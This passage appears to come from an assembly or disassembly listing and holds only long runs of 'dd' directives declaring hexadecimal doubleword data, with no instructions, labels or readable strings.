		dd 70B817CEh, 0BCFF0002h, 778904BAh, 22075CCCh,	0F71EFC57h
		dd 242337C0h, 8C750021h, 0BFB79EB3h, 3B037E2Dh,	6D642290h
		dd 802EAAF8h, 80C133D4h, 0CE3100BDh, 0E3B39718h, 0D3005DA3h
		dd 0FEE79DDEh, 1FE290F3h, 2935E1h, 0E8BF57D9h, 0FC009E50h
		dd 4568417h, 0FF3516Eh,	0E7EDD69Dh, 0C2C67F40h,	950565FCh
		dd 0E5520D8Bh, 0B003F883h, 596867h, 9AC46D56h, 0E94CC780h
		dd 0D5063F02h, 0C0E58762h, 0B8B8A0E4h, 0D9FA00FFh, 10FE5B29h
		dd 0C3009BE2h, 803E3F1h, 3C0CE6C5h, 0E080C7FDh,	4F042FACh
		dd 5800A43Ch, 0B4C28B2Ch, 0E22DEEDDh, 0EBD3B09h, 87679203h
		dd 0D6009024h, 0D3120B52h, 0EA111C8h, 0D5D75F7Fh, 20250FE0h
		dd 5172B541h, 6092DD00h, 0ADAA3310h, 0BEA00098h, 0EB6E3121h
		dd 0F61E8501h, 53CAFCA2h, 6200A010h, 0BA8206B4h, 410B00Fh
		dd 4D67402Bh, 0E984C1h,	0E72284B8h, 833EDD58h, 148C80EEh
		dd 356A4F0Bh, 6EC700F8h, 0BBBF6F11h, 1300A029h,	9F46B5FCh
		dd 0EFB99Ah, 5BD05AF6h,	0C0F252E8h, 42C51D1Fh, 56008866h
		dd 0CCF6C753h, 6C6B0715h, 0B045A384h, 110A4266h, 0C3C4FB07h
		dd 9323535Ah, 9E55C09Ah, 9B0500B0h, 0D94230F9h,	0D40FE61Ah
		dd 20A3C1F8h, 7EBF1887h, 0BE080A11h, 0E4FCDAh, 8092F78Eh
		dd 3CB879E2h, 8B67FE00h, 7BA991DEh, 0FAB30064h,	0A65A950Ah
		dd 46009B86h, 2B6C533Fh, 0B903502h, 0BE602D0Fh,	4C130B00h
		dd 0B23E98AFh, 5BB59238h, 0F4675021h, 6BC01200h, 8AB01A01h
		dd 0CA275D62h, 0FC83D0h, 8FB394CCh, 99C3532Fh, 4C805400h
		dd 73DC5A6Ch, 88FD01BEh, 0CAFA4FDAh, 5BA0DFEDh,	154C7E4Eh
		dd 6FF7000Ch, 0C99BC09Eh, 0F03D75F0h, 0C6763Bh,	827AC4B9h
		dd 0E4608D96h, 72099805h, 18C06D9Ah, 4ADDE9h, 59E51CE2h
		dd 0CD1ADF0Eh, 3E850A01h, 1BBEB67Fh, 0D9D8E8h, 1F1CFF11h
		dd 0DA2B33CCh, 0AC000E75h, 7945EC61h, 0B08CED6h, 0E88CC214h
		dd 0BE037480h, 0A4000AF7h, 0DC858087h, 0EE9119BAh, 0F289034Dh
		dd 3E4E2817h, 0A8A9CD8h, 5CE86E01h, 598399C4h, 3EAFA9C4h
		dd 978FDDE7h, 156E36F9h, 0B0811A04h, 0CF0041A0h, 0B847C83Ah
		dd 51BCA7Dh, 14378AE5h,	73870375h, 50E7207Eh, 2750DEEBh
		dd 0DB418400h, 0CBC13AFFh, 7E780015h, 72531BBDh, 35005E12h
		dd 0A862ACC6h, 2EBFDED5h, 1388C91Dh, 669D00C5h,	2496AAD0h
		dd 3B00FB73h, 3C564B3Fh, 1BEC00Bh, 0E7921B5Ch, 0FC7170ECh
		dd 76507E23h, 9B02BBD1h, 0FE0E9537h, 0F85C63DBh, 2E42BEB2h
		dd 3E5120A1h, 4D575A00h, 6D026745h, 35BC6200h, 4B079EF0h
		dd 2B1C3BD5h, 0B8C9DB82h, 5458FC7Fh, 0DB45A00h,	1F4A4E43h
		dd 0D89053h, 0EE34CFAh,	0D7C52802h, 45D6031Fh, 0B643EF40h
		dd 28714B79h, 3EB4D8BFh, 23BDB0CEh, 470094DCh, 9D0643A7h
		dd 7D0F0321h, 3766C810h, 7A512300h, 12565C7h, 982F112h
		dd 0C83BED33h, 0DA00E82Bh, 7393CBB7h, 1BBAAACh,	27A558C0h
		dd 0E0B99703h, 24B02B48h, 0F643E41Fh, 8C97D40h,	0D432CAh
		dd 0CDFF6CFBh, 7C5B1F5Eh, 6113AF00h, 42BA86E0h,	4A60BF3Ch
		dd 0A2001AB3h, 0DE0DFDE5h, 3E3B774Fh, 8D80160Fh, 0D99BE006h
		dd 0CC030A6Ch, 0B9029CAh, 8FC8C8A5h, 1C5200F0h,	3347EB0Fh
		dd 0C50EF792h, 0E1C3AF21h, 7BA5AD25h, 1B98BD8h,	75A0B19h
		dd 80ED7511h, 1A06C024h, 280ECDF3h, 0B050CFh, 10BAFC8Ah
		dd 48132719h, 137053Ch,	462CC14Ch, 8440943Ah, 2CDBCECFh
		dd 7C9D21h, 0DE110C39h,	0AE00FBEEh, 5E91F96Dh, 7454820Bh
		dd 489C01C5h, 0FBB5EB39h, 37A8FF6Bh, 0AA00283Dh, 0E05C8776h
		dd 286FC0Eh, 66602AA0h,	6760A7EDh, 792407FAh, 13BDE1Eh
		dd 0BFA83FF2h, 8DEC98E6h, 0DC9A3937h, 0B6A15780h, 9F767A1Eh
		dd 10DB9407h, 0C07ED79Bh, 0BD5BB0F6h, 364F1D88h, 4C6344B2h
		dd 0E4B08084h, 0DF00047Ch, 9FB03BEEh, 2BCBD5h, 2D15B2DBh
		dd 433D33ABh, 0A774A20Eh, 0D9E820C8h, 7FF1C19h,	0BBD7474Dh
		dd 0AB84h, 0AF204FCAh, 49913B00h, 0AB05061Dh, 302B4E14h
		dd 0EC8F7594h, 858DBA01h, 76447B0h, 0F802C0h, 2780045Dh
		dd 0C8E7DE7Dh, 0B095FB00h, 4C66E2DCh, 0C55A0123h, 356C8C4Eh
		dd 5B06870h, 44F98803h,	40671DC2h, 0BB8070h, 0DBFA0210h
		dd 65F2AD69h, 923BBE00h, 41442DC6h, 0ECEF0355h,	29F1435Ch
		dd 546B04C8h, 2AB55A00h, 7E60DCC1h, 3732003Ah, 0FA904BB4h
		dd 0DA028D89h, 3EC1AAB8h, 0E07870h, 0C04D7C67h,	3F9E965h
		dd 0B8F5CE24h, 0D35FB901h, 0B60061D5h, 0F600E048h, 30E4781Fh
		dd 17297062h, 4085C1h, 0B5221E0Eh, 9D781691h, 2EF4F80Eh
		dd 0C0754E5Ch, 95A934B6h, 0A2F939D4h, 0EE9E5E03h, 2BE8C6ECh
		dd 69ECB7C2h, 0D71038h,	2D64F09Fh, 0FC864AEFh, 12955B8Bh
		dd 2A100D8h, 50ED749Dh,	34BFA100h, 0AFDCD726h, 184A0007h
		dd 5AAD828h, 37AFCCBh, 0DE967000h, 72EE4946h, 9C9E0074h
		dd 0F8BABE17h, 2700FECFh, 0C121EA01h, 0B976CAh,	0A8F6BD03h
		dd 654CF14Eh, 3D562C1Fh, 7B3F6A40h, 0BB7E753h, 7F126C92h
		dd 0FB272F00h, 0F87FF264h, 7267D506h, 9182C5Bh,	0AFE422A5h
		dd 34859780h, 74004301h, 63F86E7Ch, 2D3742h, 1E89E80Eh
		dd 0AF3077F4h, 3927FA00h, 783233A4h, 0CB153D4Eh, 6E3C5401h
		dd 0E0709F07h, 974B364Bh, 0D3C1AC03h, 5C7BC8C7h, 85FE3BADh
		dd 98E558F9h, 0F1874A3Ch, 60B45EDEh, 7CE79E84h,	16BCA600h
		dd 0AAFF8E29h, 0C92B0043h, 7E77F240h, 0B5902C64h, 7D79FD00h
		dd 4A0A87E4h, 0BB970A5h, 14A19D49h, 0E2FA9800h,	6D02D9B2h
		dd 0D27A1557h, 0C84EC042h, 6AC72C22h, 23A280A4h, 64F4532Eh
		dd 0CE166E1Dh, 0EF723940h, 7F436FB7h, 0BB902E38h, 0CB476038h
		dd 723EC120h, 8A6387A0h, 9E10147Ch, 420BFFh, 0C2786881h
		dd 1F3641BDh, 40534300h, 0E76697B3h, 0D79C00A8h, 0BE91AE4Fh
		dd 540BB0D8h, 804365B1h, 0F9DBE1ACh, 0E5FA12C1h, 84E01F09h
		dd 0C2CFC9D6h, 74E0FE1Ch, 0CD00F2A3h, 91476905h, 7F9131Fh
		dd 434F2D22h, 0FA8470FEh, 6D009837h, 850766CCh,	32B39Fh
		dd 45A18E3Ch, 4904D55Bh, 33180800h, 0FDC2B650h,	0E74A3DF0h
		dd 0B500343Ah, 7ACE4E81h, 54006AB7h, 555798D3h,	22915BCh
		dd 3E38DAC4h, 80E0D71Dh
		dd 92008387h, 9992DE0h,	0FA6941F2h, 0B9700ACh, 5CA1F9BCh
		dd 541C492Bh, 0B2C06785h, 1E73E9C8h, 43480068h,	988C977Bh
		dd 2B002605h, 47A67DE6h, 89169Eh, 0B453468Ah, 17420D92h
		dd 0A0136A0Ah, 5602DC04h, 0C0CAF371h, 152BF0Ch,	8AE622E5h
		dd 3C87B9CDh, 0F3A900ACh, 0EBC2FDECh, 82D10A4Eh, 0FF6680h
		dd 96DEA812h, 0F0B6CE4h, 80F4C934h, 33F1BF04h, 578605A7h
		dd 8031CFAEh, 5C7E90D0h, 0EB70EAECh, 0BF380095h, 0BC2CBE4h
		dd 0C6A2A7F7h, 0FF508057h, 4C34E1F3h, 0BE165C11h, 1D0080D7h
		dd 5D3DFC8Dh, 12C3806Bh, 0C171A043h, 76348CFh, 0EE58D304h
		dd 0E0CC0DEh, 0D71E8F50h, 9F00F749h, 9EC39A13h,	8C24047Bh
		dd 0C08DDC45h, 0D7ECBD35h, 0D5F97000h, 9737B8B0h, 6F063D39h
		dd 4881C12Dh, 620E26BAh, 16728008h, 89103Dh, 0B5F7E69Dh
		dd 4A921319h, 0E7AE3900h, 77425B02h, 74F100B2h,	0C93615F8h
		dd 0B301324Bh, 494EE073h, 68F09BA5h, 48009541h,	0D4C5A4A7h
		dd 0C9693500h, 0A557DA82h, 0EA0C729h, 47CE8F71h, 0C968CD00h
		dd 250A2092h, 0E82C9630h, 20F6F70Eh, 0D3127D4Eh, 7194A21h
		dd 0E9A044E4h, 3C03EC80h, 75FAAB2Eh, 0DB96C600h, 9E568651h
		dd 0C2FB2408h, 0B4CB003Dh, 24B2CD98h, 89516B17h, 2CC0A11Ch
		dd 0BDE07EC1h, 8CC40039h, 9038B157h, 0AB1E8083h, 0F78021BAh
		dd 0CAA7FD19h, 0E5590286h, 0ECB8C263h, 0DEA198C3h, 343DC82h
		dd 785D1B00h, 12DF7331h, 0B3FC7Dh, 63252338h, 96DDEC34h
		dd 160FF2F2h, 651E5877h, 0BCD7E1C9h, 0DF621AF3h, 2D4D1370h
		dd 7873F17Fh, 6A22810Bh, 0F909B482h, 5D3E0452h,	53D16A3h
		dd 0CE92AD04h, 0E84B04D3h, 3486BD7h, 174C872Bh,	7BC0B712h
		dd 6D07F9D1h, 5EFA41B3h, 2560AB61h, 0B8506430h,	0B69B006Ah
		dd 0A7DD7E76h, 0FE488616h, 640570DCh, 9BD5C5BDh, 2559CC0h
		dd 366001Dh, 0E1A524E5h, 867E4497h, 108F0400h, 54EA32D8h
		dd 0A90916DBh, 47A01E38h, 72C6B3FFh, 0B4E1375Bh, 94F0608Ch
		dd 0B0353000h, 6DFFED5Ah, 506C009Eh, 0F72692F9h, 4900D26Bh
		dd 6434CBCAh, 0F62076E7h, 3FA5E4Fh, 7CD008D4h, 6F9F77F0h
		dd 0AD59B00h, 14CAB92Dh, 15363A84h, 800BC58h, 0EF2496A0h
		dd 0F6024B21h, 0DAAFBE11h, 0EAC5ADDh, 0EBECE4A8h, 0DED3F0E0h
		dd 50000D10h, 32BF8FFFh, 0FDB89h, 4156E0C4h, 40386729h
		dd 482D8C2h, 0FDF84006h, 7CC2EC16h, 50320117h, 0D5DFF44Ah
		dd 403E210Dh, 0B9235FA0h, 2273D600h, 9295E0B2h,	67940050h
		dd 0E1D86BE9h, 48B038E7h, 5E3890FCh, 6DB101C4h,	0ADBF51C3h
		dd 4810BAD4h, 4007E075h, 5002DB1Dh, 0F29C7FCh, 6D004096h
		dd 7C8BF358h, 0E60CE83Eh, 0B6721CB3h, 2064C031h, 899727C5h
		dd 77372900h, 9ECA70ECh, 41E30911h, 0D0C0FDEEh,	0F100EB5Eh
		dd 0DC6AD306h, 1427DA8h, 708F91AFh, 0F05F6D26h,	66FE0237h
		dd 17B62400h, 0DFA49CB9h, 0EBBB008Ch, 776CA2B2h, 0C9000CB4h
		dd 65C66EFFh, 1FAA9CE5h, 54CECB88h, 8B39E421h, 4F4D0D1Ch
		dd 0F3C7347Eh, 12ECE0BEh, 0BC03F0C9h, 9D746B0Bh, 30F1A868h
		dd 87192FFDh, 0B4075894h, 0E6138486h, 1DE76340h, 2FF30027h
		dd 0B5B9A6Ch, 1700E146h, 1C38D411h, 90542Eh, 63AA1BE5h
		dd 79F4B3C5h, 3FA5EE00h, 0E7DB4BABh, 33FD0388h,	4748E849h
		dd 0B5F865EBh, 0BD012FB4h, 2369B9C3h, 0E9D4D73Bh, 1B31001Eh
		dd 35AE1511h, 0CA01013Ch, 912283A8h, 2E3685h, 15A5D448h
		dd 101F4C6Eh, 7109C80Bh, 0C63900B1h, 0F1FB26h, 4995BA47h
		dd 98D641BBh, 10CD9A26h, 29DC3500h, 626CE1h, 638BD118h
		dd 0B18C1116h, 0F58F0A02h, 0F152378Dh, 0DC620130h, 20CAF936h
		dd 8209E74Ch, 876D56ACh, 8ED0E098h, 764B6CE2h, 0A1A46272h
		dd 6446E3B9h, 87084C39h, 210FB49h, 0E08CF612h, 0F06B728Ch
		dd 4DAD0ED9h, 33272806h, 0AEDDD28Eh, 1EB10D60h,	7673DA07h
		dd 0EC0B3C9h, 5D6247h, 0A0B0CD52h, 0DCFAAE1Ah, 9B51A700h
		dd 0C601296Ch, 0F7FD1824h, 20908821h, 0F802644Bh, 0C01829DBh
		dd 6DC350h, 0EB614125h,	24EE99FCh, 7BF4CD00h, 88C95E3Fh
		dd 3460028Bh, 0C46FCB03h, 545737E0h, 3F3C6A1Dh,	12F7C107h
		dd 54819225h, 60801F99h, 33A478B6h, 0BE0094F0h,	558C65E9h
		dd 4BD921h, 0BF6F32C1h,	0B2C644AAh, 33A8F00h, 0C78D6D92h
		dd 5BE300DEh, 0BBD8B0DFh, 0FA900A07h, 0BA2C4301h, 0CC836CA7h
		dd 3807F068h, 0A0C10F46h, 0B6FF26C5h, 3F4FD200h, 5056A448h
		dd 9D7503E1h, 0B3985BF1h, 0EB146C90h, 0C382BA0Bh, 0AFBD80CAh
		dd 0CE3935h, 77663BA7h,	31AEC6A0h, 0BFDF8003h, 87ADE024h
		dd 0E8EB13F0h, 6090C4h,	0D5863817h, 0E6BC9C6Fh,	4F79F8E6h
		dd 96C0D907h, 0A030C29Bh, 2B64B95h, 58E6BD08h, 6C5012A8h
		dd 3B2D0307h, 0B3D02C29h, 1D10A683h, 80400E33h,	35536AFAh
		dd 913B8471h, 861400E8h, 11D7689Fh, 39B800E4h, 3F3D619Ah
		dd 3102A243h, 88827E35h, 0C0476295h, 20A46Ch, 8AB5BE27h
		dd 9E5B7C54h, 0BA6B1C01h, 9155A93Eh, 47F1A12Ah,	5AA58158h
		dd 0BF1E60C5h, 1C7F5D3Dh, 0DE82E060h, 7063F61Dh, 5E1B00E8h
		dd 38545F94h, 0E1004B0Fh, 0C645D51Eh, 1F2EB4Ch,	0AE99676Fh
		dd 3A9D8A6Dh, 49305400h, 0F196D3h, 0B9482B8Eh, 40FFC45Dh
		dd 86876D24h, 9B4C2601h, 66C05551h, 4FBF003Ah, 23A74603h
		dd 9AEC4833h, 880080E0h, 0D8AF4B1Ah, 0E76B583h,	8D2CB09Eh
		dd 0CA524CC3h, 57F971D0h, 0B13F8000h, 98AD892Eh, 0D1840392h
		dd 0ECD49AAEh, 1F7AFA09h, 547C81B1h, 2C63CAEFh,	0E5F17E00h
		dd 7C5540AAh, 32A90600h, 36CD27FAh, 4C54037Fh, 0E3C78ED9h
		dd 0D8EE6A89h, 0BA01A5B6h, 4A6EE6FCh, 0A17BE755h, 29B4DCFAh
		dd 3C08E801h, 47075F32h, 0C1693087h, 6CC6B24Eh,	0F79E90A0h
		dd 0A0E8193h, 0B703Ah, 0DE89E82Ch, 0B0EC387Eh, 5BE91280h
		dd 0A34F7768h, 9EC8D200h, 3856BD2Eh, 6EBC3DE2h,	2BE5DE00h
		dd 5526B37h, 75A6C00h, 41B27FF9h, 71CD00E9h, 0BC372595h
		dd 5E008AD8h, 0A88E1EB7h, 0C0B3FA53h, 9CBE8188h, 48C7EDEEh
		dd 8AB23001h, 9E909086h, 0DEC600E1h, 2B4E1ED5h,	1CE89939h
		dd 0B3F91901h, 451BD75Ch, 41F130h, 54B9492Ah, 0D1518314h
		dd 0D723403h, 0DC1B2F44h, 7E38B8h, 0D5C80C5Fh, 3239E7E2h
		dd 0D929E0E5h, 0B363A012h, 0D8C0C801h, 0F4D8EAFBh, 0F3B400F0h
		dd 0CDFD3660h, 25002B9Ah, 55527C9Bh, 306C907Bh,	0D146D005h
		dd 0F200D849h, 0E3C83FEh, 0ACE873h, 0F45C3A58h,	0C54937F9h
		dd 40E0B600h, 0FBFE9E13h, 12E90376h, 0BDD19074h, 545A72B8h
		dd 7DB33F00h, 0BBA78DBAh, 0C7873F57h, 44EC3980h, 0F39293B5h
		dd 98122707h, 31F06EC4h, 0B6EBD4h, 7E5A5072h, 0C843FEB7h
		dd 9901D07h, 2B8005A2h,	497930h, 4AF974ECh, 8ED292EDh
		dd 0AAB79700h, 0F8246518h, 85EF0361h, 4CB3A1B1h, 9A81B6B0h
		dd 8177EA39h, 2ACD7052h, 90E05375h, 1192040Dh, 0E46C134Fh
		dd 760F99B8h, 20456327h, 4674AA06h, 82A49C25h, 0C12979EFh
		dd 620ACEC3h, 0C45C1E13h, 0CD955301h, 0A8EC77F2h, 0A7CA0055h
		dd 166647DDh, 87584E07h, 0CB2E0120h, 0EE643858h, 2EA450D2h
		dd 60981E77h, 0BF6816B1h, 0A85892F0h, 80513F9Eh, 0E12336F0h
		dd 8C91F7h, 2673C8C0h, 0A0868F5Fh, 0D313B41Ch, 98C0CE92h
		dd 5DA3CCh, 0ECF860FCh,	0B7999C81h, 3629C000h, 0F7B816F1h
		dd 44D40001h, 975AFB17h
		dd 0B3008A53h, 9F3EB7EDh, 0D91A0h, 0E052F271h, 77C46DEEh
		dd 0EBC67A00h, 4E3F965Eh, 0B4AF00F5h, 681A5F42h, 0E8001FC4h
		dd 656258Dh, 0C7236Fh, 69116396h, 0CBFAD741h, 493C4075h
		dd 91AE8059h, 539FA3D4h, 0DC5E008Bh, 9DAAA2D9h,	0FF7F4BB7h
		dd 45928100h, 1C34169Eh, 71FD0010h, 0BFDE8FA7h,	0D200734Ch
		dd 8182E9B1h, 3C6D6534h, 176F509h, 2CBEF875h, 0EC168828h
		dd 5008E03h, 9344292Fh,	9DECAFh, 0A7E7582Dh, 0C0830BA6h
		dd 29665B00h, 0D7A1F2F3h, 551A00C3h, 47BBABCh, 0F500C871h
		dd 141BF1B9h, 0E3B03Ah,	37E4EC6Fh, 723F9F6Eh, 7B00A2EEh
		dd 2262FBA6h, 107F33h, 7D091EB8h, 4C8F35FAh, 0F0006BB8h
		dd 0F9D88137h, 371FC45h, 0C1C5B392h, 2B904EB4h,	3E002914h
		dd 0CE4284B0h, 0FADF8CE3h, 0DB503A4h, 0D52F21A6h, 1A4B9CF8h
		dd 4C136400h, 7E9B7820h, 0C1BC00FEh, 569F5A8Fh,	320021C2h
		dd 93E6E042h, 583977DDh, 7C005E0Eh, 2706833Bh, 0B3004299h
		dd 0EABA3C94h, 1CC70455h, 403E1544h, 46F2C3FBh,	26094A5Bh
		dd 408059ABh, 33AD28h, 5E54F0CBh, 5731BE4Ch, 0D03A0800h
		dd 918CDF67h, 0B75B07A9h, 0A0873890h, 74C4B654h, 0F5690400h
		dd 8BAC73E2h, 0DD90E9h,	5A540E80h, 8A5E1FD5h, 0C63A9900h
		dd 8C877D3Dh, 0FA6100C3h, 42CFA9DFh, 0BF3CBE88h, 705B8117h
		dd 86938EE9h, 0F9D0FCh,	44D2A0EEh, 535DCB5Fh, 36BAA800h
		dd 132E5892h, 8A070031h, 66CE0B3Ah, 5F0133F2h, 0A06F8B22h
		dd 2AF09E30h, 0FD47008Ah, 0D888910Ch, 7B75E157h, 0B81C4F98h
		dd 60DE686Fh, 39000CE4h, 0BD29AC65h, 0C0565837h, 0A942DB01h
		dd 0D976EF3Ah, 0D1C92001h, 8468CD00h, 6A627D0Ah, 59EC3ECCh
		dd 8075089Ch, 6F1D92EFh, 3E003373h, 6A052316h, 0FC66AFh
		dd 982518B1h, 0A42E834Fh, 74536F01h, 872B9D99h,	0C42AF0h
		dd 0F0D3756Ch, 62C9B16Eh, 7CD6A500h, 0DFED4B6Fh, 0F9A10E5Bh
		dd 9E809951h, 0FFA99724h, 0C2FB6704h, 0ECC34A39h, 1B23C8E5h
		dd 932025BFh, 0DE90B000h, 4700FB5Ah, 16C356C5h,	715C9Ch
		dd 6FA18F2Ah, 69EB5D7h,	0D5520B00h, 0F71CEEADh,	0D1B60062h
		dd 0EDFBF43Ah, 98004BBBh, 0EBD3E088h, 3AE2D64Ah, 4200903Bh
		dd 816CF68Ah, 8605D18h,	0A6E08F70h, 0A40E001Dh,	5A9EEE3Fh
		dd 1403D23Eh, 1891AF65h, 0F7E5E0C4h, 0B33B03EBh, 0B44D497Ch
		dd 8ED860F7h, 6C2694F6h, 0AD87AC1Ch, 572042EBh,	18AC620Bh
		dd 49760FB9h, 3D308574h, 3AB0E98Fh, 0D4EF00D9h,	0E365CB2Dh
		dd 0E5284D84h, 9E154C58h, 8C85EDh, 4441D7BBh, 1F47B0C9h
		dd 94FE512h, 30059DCh, 96F7C31Dh, 3D084400h, 5F6942F8h
		dd 0DE8C3D97h, 0C5DD7100h, 3FE999A6h, 80FDB439h, 0A23E3A9Eh
		dd 3F4D3453h, 3F4C5D7h,	24AE055Ch, 0E3D09052h, 0C6B8AB4Ah
		dd 5D91F80Fh, 11A0802Eh, 5CE172D8h, 1C032D2Dh, 486D999Dh
		dd 66683DE8h, 2C826500h, 26ECDF11h, 1EE60063h, 2498610h
		dd 0F00DA55h, 0DFE3BFDh, 77EDBFBh, 8A56986Ch, 89680E9h
		dd 0DAF63C5Dh, 0A4A69C03h, 80F4C637h, 3438E0h, 0EABF1350h
		dd 3A3CCA54h, 6BFB247Bh, 3BD59C02h, 5FC66088h, 0B481022Dh
		dd 97833DC3h, 0E7D4B8A0h, 0B500E867h, 450F275Bh, 0E6CBF710h
		dd 48D0A02Bh, 0B0E000F2h, 0B7AC0998h, 1801FF02h, 0A5184D3h
		dd 49808E64h, 0B416E894h, 1B00A887h, 5141F3B6h,	231A3E5h
		dd 0D4F9DFC9h, 0F4A02AFDh, 0BEE9602Bh, 0C3E4D500h, 0D4DE7FEh
		dd 0A69D03F9h, 0AA9515D4h, 0B098F4A0h, 576B0B00h, 238E161Eh
		dd 37EB0007h, 3BFE4B21h, 0CB185DDAh, 6BA0CFA4h,	67A135E3h
		dd 61C0BFB8h, 0B75BB963h, 0F2790C00h, 400173C0h, 5AC4E348h
		dd 6DF8F065h, 1DEA1DF4h, 987900DDh, 477FD839h, 8AA1F6A3h
		dd 5DE830F7h, 44C35000h, 0AB9E8998h, 0CEF60051h, 202499F5h
		dd 91F7756h, 898FA5E4h,	67AE9DD0h, 2DE57107h, 4D7736C0h
		dd 0C470043h, 0F7341E2Eh, 0C500F8DCh, 18692AACh, 7D4976h
		dd 3C90ABBEh, 0CA9A0BF1h, 6310E261h, 5F205D81h,	2D6E00B3h
		dd 404C216Fh, 8072C405h, 0A36551Eh, 37ADBC00h, 0E29AA963h
		dd 0C7B0005Eh, 0C6337754h, 0CE8765Ch, 1E79080Fh, 119D00F2h
		dd 3E9CA21h, 71379577h,	0F6F8D348h, 0EA0E1572h,	6034D95Ah
		dd 0C7F3987Fh, 52CB0076h, 0B48DE0E1h, 35F8B12Eh, 0DCAF7400h
		dd 4FBB7308h, 0E79E0067h, 15EC8599h, 8D009DE4h,	0AC4BDDADh
		dd 94513Ch, 0DA5AE789h,	0FA6EE9B6h, 0A93D4000h,	65302128h
		dd 0D1CE3E90h, 0B1C9860h, 0E00D03E4h, 30C89C73h, 52DCF0h
		dd 994B91B4h, 380BB6CDh, 0EF0769FCh, 207E6F2Ch,	0CA1790DAh
		dd 4237B303h, 58110063h, 0AD78EB89h, 0AC1547C8h, 38096E9h
		dd 6C59BB6Eh, 71FA802Ch, 9F2D0079h, 549BF587h, 103CEF35h
		dd 0A09A87C3h, 5FE0BC1Ah, 2E41B1h, 506DFB72h, 766CB6F9h
		dd 0DCCF3518h, 13BDA1C1h, 0BC71DBh, 8819ACE9h, 0DE00EC91h
		dd 42359E1Ch, 50EF1DC7h, 0EA150C6h, 1F2DC447h, 1AA77BE1h
		dd 95A8802Bh, 59B31CAFh, 3380012Fh, 8C84525Eh, 4916D4E4h
		dd 50E741C1h, 45704139h, 0D4592642h, 0DAF4003Ch, 0FB5153A8h
		dd 73858D04h, 89C065D8h, 0EF4D59h, 3BCF062h, 9C805A20h
		dd 81CCF70Ah, 7E868C3Bh, 3D614835h, 0A9000FAEh,	752BDBB7h
		dd 18C573F9h, 80C05B49h, 0CE3F8E8h, 2C0956ECh, 0CC0072B8h
		dd 3C2D7CF7h, 3277E797h, 0BF59C986h, 0CCAA6D40h, 20B73601h
		dd 0F1403401h, 129FF2FCh, 99667Ch, 942646EFh, 6800D329h
		dd 7383D007h, 0F1A43A8h, 8418981Ch, 0DC04410Ah,	932D510Fh
		dd 0B4BC823Eh, 2E075D14h, 0B085378Eh, 617E6BD5h, 32008479h
		dd 430ED640h, 78C868h, 0DFDA711Ah, 6C43E86h, 0D900927Eh
		dd 16EC6244h, 18A28Ah, 6E66BC9Eh, 6172323Ah, 750085E8h
		dd 48FA4EB8h, 0EEB682h,	24406D55h, 545F73DCh, 0F49B60FBh
		dd 89D0AE00h, 0DDC99102h, 0E498127Ch, 629100EDh, 7B3D1A8Ah
		dd 44233900h, 0EEF06B93h, 0BDCE07B1h, 902A67F3h, 5181FDF6h
		dd 0A7009A77h, 19111E3Fh, 72B4C5h, 209DC83Dh, 0F5DE7F4Eh
		dd 8379EDF4h, 2682CF00h, 6CC51397h, 38CC03E6h, 40C9697Fh
		dd 6E75D3A8h, 7B37095h,	0DC0B5AB0h, 70807071h, 0A3149FC0h
		dd 0FD09D0Eh, 9802606Fh, 3EBCC710h, 24007638h, 0F35A4FDEh
		dd 0E7009326h, 58D0DA78h, 625F55h, 744B22BBh, 8B2BE9BEh
		dd 0E962126h, 65A17100h, 104884h, 4C839F08h, 863F780Eh
		dd 5F9A5A02h, 7F63E2F1h, 0BA25D740h, 37F1300h, 0A49F24F0h
		dd 0E51600B7h, 9B1CC7EFh, 0C200AC8Ch, 3343BD8h,	273707h
		dd 26FE3963h, 590D42EAh, 0FC6CCF00h, 36EEB184h,	1FBB7076h
		dd 870B4F9Ch, 309616F4h, 8E86A8BFh, 5DF66E00h, 4D8F19BDh
		dd 7DDF0065h, 0DE84A2FAh, 0B100A810h, 8B2E5AA3h, 73F516BBh
		dd 41981E56h, 57A00C3h,	1B67621Ch, 503DDE00h, 0B2268B32h
		dd 0FA510BD5h, 2E00E575h, 2CACC3ADh, 9C8A4103h,	0A90A6A3Eh
		dd 14E04428h, 0FA602C5Dh, 9D1F0038h, 232725C8h,	0BD070807h
		dd 7590CA65h, 7D4EAE74h, 725A0057h, 0CD9D7F24h,	0BA00397Ch
		dd 5367EE16h, 0BFF163h,	0C3F03034h, 0C55A7828h,	65197217h
		dd 9512DE00h, 541EF3h, 0F95FEA2Dh, 3860417Fh, 92000179h
		dd 0BF6D18E5h, 0F991FB5h, 54B4D9FDh, 0CCF5E2E0h, 0FA014711h
		dd 3DE15F2Bh, 0C8D768C1h, 311E99h, 73861A48h, 0FB7AA9B4h
		dd 0BA000FE2h, 7152966Bh
		dd 0BE88E0h, 194EA8B7h,	0F8FEE984h, 5049BC1Ch, 0DC0FA300h
		dd 75BB51CFh, 2B530279h, 75287F4Dh, 43ECC040h, 2E21E700h
		dd 0BA1065F4h, 660B00B4h, 858AAFB8h, 0D25413CCh, 0E700F9F8h
		dd 266827C9h, 2F069Ah, 46B0EC7Bh, 0CCDF8538h, 0A2B2AC00h
		dd 8109F390h, 0C070FFh,	12D826EFh, 8AAC71Eh, 587D44F4h
		dd 964F0B7h, 0A3DD4B56h, 0B7808003h, 0C59016F8h, 5917A902h
		dd 608EC125h, 0FA9D44h,	0F78515Bh, 1AFBD8ECh, 914F700h
		dd 0DC5F3C2Ah, 64970019h, 1E7724B1h, 8D008C87h,	9BA255C3h
		dd 0E6AEE856h, 0DF9900C1h, 0F8772A01h, 0DC009298h, 0C4BCC510h
		dd 10DA9E7h, 0CC5824B8h, 0CC0E40AAh, 59260C36h,	88304D07h
		dd 3F1C884Bh, 0F6008E2Eh, 64BCE240h, 7E000F3Eh,	0E8FA3CD8h
		dd 0BB09EDh, 2E14D313h,	0A2F51C16h, 4E7C5200h, 6D469876h
		dd 98490EAh, 3C6F35EFh,	0D2F18000h, 4800D114h, 0E8ED4174h
		dd 651E6C2h, 855EFC1Dh,	0F73C5024h, 0CD372850h,	71030FE2h
		dd 0AB59926Fh, 5C400094h, 6607309Eh, 453E0867h,	27C400A9h
		dd 20C98BBBh, 0E8B2007Dh, 46CEFD1Ch, 577B6875h,	6024F800h
		dd 0E7336225h, 4AC00054h, 9D5B9128h, 0E80B022Dh, 344475h
		dd 6D91B28h, 74EA7F94h,	31F41CE7h, 0A17400F8h, 486EF7B3h
		dd 0EC5FE400h, 69D53777h, 50BC3FD0h, 0C26C8D00h, 0F9018B5Eh
		dd 1B930803h, 0F4216D35h, 0E43CF9C0h, 508501F8h, 0FD0DD843h
		dd 5A89703Fh, 7BBC6C07h, 69727ECAh, 33DA60C1h, 3601C72h
